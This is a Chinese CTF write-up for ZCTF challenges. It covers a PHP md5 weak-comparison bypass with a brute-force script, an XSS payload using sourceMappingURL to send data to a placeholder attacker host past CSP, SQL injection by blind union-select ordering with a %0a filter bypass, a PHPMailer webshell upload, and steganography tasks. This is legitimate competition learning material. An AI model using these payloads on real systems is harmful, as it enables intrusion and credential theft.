WEB
web100
扫目录得到 .index.php.swp
。
<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
if (strstr($flag, 'zctf')) {
if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
die('ZCTF{#########}');
}
}##
}
die('ha?')
?>
md5('15562')
的第 8 位是 0e
开头的,又是用的 ==
,利用弱类型可以只判断前两位,之后的只要都是数字就可以。
import hashlib
for i in xrange(1000000):
s = 'zctf' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
flag = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break
zctf143431
可以满足条件。
Find My Eyes
类似一个 CMS 系统,翻了翻只有 contact.php 有个留言板的功能,考虑是有 XSS。留言板的功能是向 message.php
提交内容,响应头里又有 CSP,首先就要绕过这个东西。
搜索到一篇 文章,用其中的 jQuery 绕过,让服务器访问自己的网站,flag 会带在 header 里。
<script>//@ sourceMappingURL=http://xxxx/</script>
easyapk
逆向 apk,在 libso 里得到加密函数,就是将内容与 1470 循环异或后提交,index.php
用来登录,mail.php
用来发送邮件。登录处发现注入,万能密码发现 username
返回 admin
,但还是不能正确登录,只能进一步将 password
注入出来,但 ()
被过滤,一些函数也被过滤,无法正常盲注。
%0a
可以绕过过滤,可以 union%0aselect
,搜索到一篇 文章,专讲 union select
下的盲注。
mysql> select * from users union select 1,2,'b' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | b |
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from users union select 1,2,'f' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 1 | 2 | f |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from users union select 1,2,'e1' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | e1 |
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from users union select 1,2,'e2' order by 3;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 1 | 2 | e2 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
这样就可以一位一位的盲注了,得到密码 CleverBoy123
。
发送邮件的地方立刻想到 phpmailer 的漏洞,hint 提示根目录不可写,扫目录得到 upload
目录,随便找一个 payload 即可写入 shell。
MISC
Russian Zip
打开提示加密,用 WinRar 的压缩包修复即可打开,不用手改伪加密了,真神器。搜了一下这些莫名其妙的文件名,好像是 MineCraft 的地图,下了一个游戏打开,挖了沙子把自己垫高,看到 flag。
Whisper
打开 png 文件,隐约看到有人名,搜索一下是 RSA 的发明人。图片文件打开,后面发现一大堆形似 base64 加密的字符,抠出来解密(但是开头多一个 E 我就不懂为什么了......坑了好久),binwalk
发现很多压缩文件,-e
抠出来。
cat * | grep password